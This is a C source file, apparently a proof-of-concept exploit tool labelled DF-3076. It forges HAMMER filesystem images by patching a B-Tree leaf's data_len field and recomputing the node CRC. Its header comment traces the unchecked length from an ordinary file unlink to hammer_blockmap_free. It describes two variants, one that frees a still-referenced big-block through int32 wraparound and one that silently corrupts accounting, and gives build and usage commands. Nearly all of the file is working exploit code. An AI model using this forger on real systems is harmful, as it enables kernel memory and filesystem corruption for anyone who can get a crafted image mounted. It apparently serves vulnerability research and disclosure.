DF-3076 / lenforge.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /* * lenforge.c - DF-3076 PoC image forger. * * DF-3076 root cause: hammer_blockmap_free() (sys/vfs/hammer/ * hammer_blockmap.c:762) takes `bytes` = the on-disk B-Tree leaf's * data_len with NO production bounds check. Its only validation is * `KKASSERT(bytes <= HAMMER_XBUFSIZE)` at hammer_blockmap.c:786 โ * INVARIANTS-only, compiled out on production kernels. The same * unvalidated field feeds hammer_blockmap_dedup() (:910) and, via * reblock, more free sites (hammer_reblock.c:493). * * Reachability (no privileges needed post-mount): unlink of a file on a * nohistory HAMMER mount -> * hammer_ip_delete_record (hammer_object.c:2234, * HAMMER_DELETE_ADJUST | hammer_nohistory(ip)) * -> hammer_delete_at_cursor(HAMMER_DELETE_DESTROY) * -> hammer_blockmap_free(trans, leaf->data_offset, leaf->data_len) * (hammer_object.c:2542) with data_len straight off the media. * * This forger walks the B-Tree of a *stock* newfs_hammer image (made * with one small file), finds the file's DATA record leaf, patches its * data_len to an attacker value and recomputes the node CRC32C * (CRC is not a security barrier โ the image author owns it). * * Variant A: data_len = 0x7FFFFFF0 (~2GB) * -> KKASSERT(bytes <= HAMMER_XBUFSIZE) fires at :786 (INVARIANTS) * Production: compiled out; `layer2->bytes_free += bytes` wraps * int32 (freemap layer2 bytes_free is attacker-crafted with a * forgeable CRC), the == HAMMER_BIGBLOCK_SIZE force-free branch * at :853 releases a big-block still referenced by other records. * Variant B: data_len = 0x10000 (64KB โ the maximum the :786 bound * itself would allow) -> free accounting pushes a nearly-empty * big-block's bytes_free past HAMMER_BIGBLOCK_SIZE -> KKASSERT at * :834 (INVARIANTS); production: silent accounting corruption. * * Build (in guest): cc -O -o lenforge lenforge.c icrc32.c \ * -I/usr/src/sys/vfs/hammer * Usage: lenforge <img> <newlen_hex|keep> */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> #include <sys/param.h> #include <sys/types.h> #include <stdint.h> #include <stddef.h> #include <hammer_disk.h> #include <hammer_btree.h> extern uint32_t iscsi_crc32(const void *buf, size_t size); #define NODE_SIZE ((int)sizeof(struct hammer_node_ondisk)) #define ELM_SIZE ((int)sizeof(union hammer_btree_elm)) static uint32_t version_g; static int64_t vol_buf_beg_g; static int patched = 0; static int32_t newlen_g; static uint8_t bestbuf[NODE_SIZE]; static struct hammer_node_ondisk *bestnd = (struct hammer_node_ondisk *)bestbuf; static union hammer_btree_elm *best = NULL; static hammer_off_t bestkey = 0; static off_t bestraw = 0; static void node_crc(uint32_t version, struct hammer_node_ondisk *node) { node->crc = 0; node->crc = iscsi_crc32((const uint8_t *)node + sizeof(node->crc), NODE_SIZE - sizeof(node->crc)); } static int node_crc_ok(uint32_t version, struct hammer_node_ondisk *node) { uint32_t save = node->crc, calc; node->crc = 0; calc = iscsi_crc32((const uint8_t *)node + sizeof(node->crc), NODE_SIZE - sizeof(node->crc)); node->crc = save; return (calc == save); } static int walk(int fd, hammer_off_t node_z8, int depth) { uint8_t buf[NODE_SIZE]; struct hammer_node_ondisk *nd = (struct hammer_node_ondisk *)buf; off_t raw = vol_buf_beg_g + (node_z8 & HAMMER_OFF_SHORT_MASK); int i, zone; if (depth > 64) return (0); if (pread(fd, buf, NODE_SIZE, raw) != NODE_SIZE) { fprintf(stderr, "pread node %016jx failed\n", (uintmax_t)node_z8); return (0); } if (!node_crc_ok(version_g, nd)) { fprintf(stderr, "node %016jx CRC bad\n", (uintmax_t)node_z8); return (0); } if (nd->type == HAMMER_BTREE_TYPE_INTERNAL) { for (i = 0; i < nd->count; ++i) { hammer_off_t sub = nd->elms[i].internal.subtree_offset; if (sub) walk(fd, sub, depth + 1); } } else if (nd->type == HAMMER_BTREE_TYPE_LEAF) { for (i = 0; i < nd->count; ++i) { union hammer_btree_elm *e = &nd->elms[i]; hammer_off_t doff = e->leaf.data_offset; if (e->base.rec_type != HAMMER_RECTYPE_DATA) continue; zone = (int)(doff >> 60); if (doff == 0 || (zone != 10 && zone != 11)) continue; printf("FOUND DATA rec: key=%016jx data_off=%016jx " "data_len=%d (zone %d) node=%016jx elm=%d\n", (uintmax_t)e->base.key, (uintmax_t)doff, e->leaf.data_len, zone, (uintmax_t)node_z8, i); /* * Pick the record with the highest key so the * crafted data_len can satisfy key - data_len >= 0 * (dodges hammer_ip_delete_range's left-edge assert, * hammer_object.c:1997) and still exceed the * HAMMER_XBUFSIZE bound at hammer_blockmap.c:786. */ if (best == NULL || e->base.key > bestkey) { memcpy(bestbuf, buf, NODE_SIZE); best = &bestnd->elms[i]; bestkey = e->base.key; bestraw = raw; } } } return (0); } int main(int argc, char **argv) { const char *path; int fd; uint8_t hdr[4096]; uint64_t sig; hammer_off_t root_z8; if (argc < 3) { fprintf(stderr, "usage: lenforge <img> <newlen_hex|keep>\n"); return (1); } path = argv[1]; if (strcmp(argv[2], "keep") == 0) { newlen_g = -1; } else { newlen_g = (int32_t)strtoul(argv[2], NULL, 0); } fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return (1); } if (pread(fd, hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pread hdr"); return (1); } memcpy(&sig, hdr, 8); if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a hammer volume (sig=%016jx)\n", (uintmax_t)sig); return (1); } memcpy(&vol_buf_beg_g, hdr + 24, 8); memcpy(&version_g, hdr + 152, 4); memcpy(&root_z8, hdr + offsetof(struct hammer_volume_ondisk, vol0_btree_root), 8); printf("version=%u buf_beg=%jd btree_root=%016jx newlen=%d\n", version_g, (intmax_t)vol_buf_beg_g, (uintmax_t)root_z8, newlen_g); if (version_g < HAMMER_VOL_VERSION_SEVEN) { fprintf(stderr, "expect v7 image (iscsi crc)\n"); return (1); } walk(fd, root_z8, 0); if (best == NULL) { fprintf(stderr, "no DATA record found\n"); return (1); } if (newlen_g >= 0) { if ((int64_t)bestkey < (int64_t)newlen_g) { fprintf(stderr, "key %016jx < newlen %d: would hit " "left-edge assert first\n", (uintmax_t)bestkey, newlen_g); return (1); } printf("PATCH best-key record: key=%016jx data_len %d -> " "%d (0x%x)\n", (uintmax_t)bestkey, best->leaf.data_len, newlen_g, newlen_g); best->leaf.data_len = newlen_g; node_crc(version_g, bestnd); if (pwrite(fd, bestnd, NODE_SIZE, bestraw) != NODE_SIZE) { perror("pwrite"); return (1); } ++patched; } printf("DONE patched=%d\n", patched); return (0); } |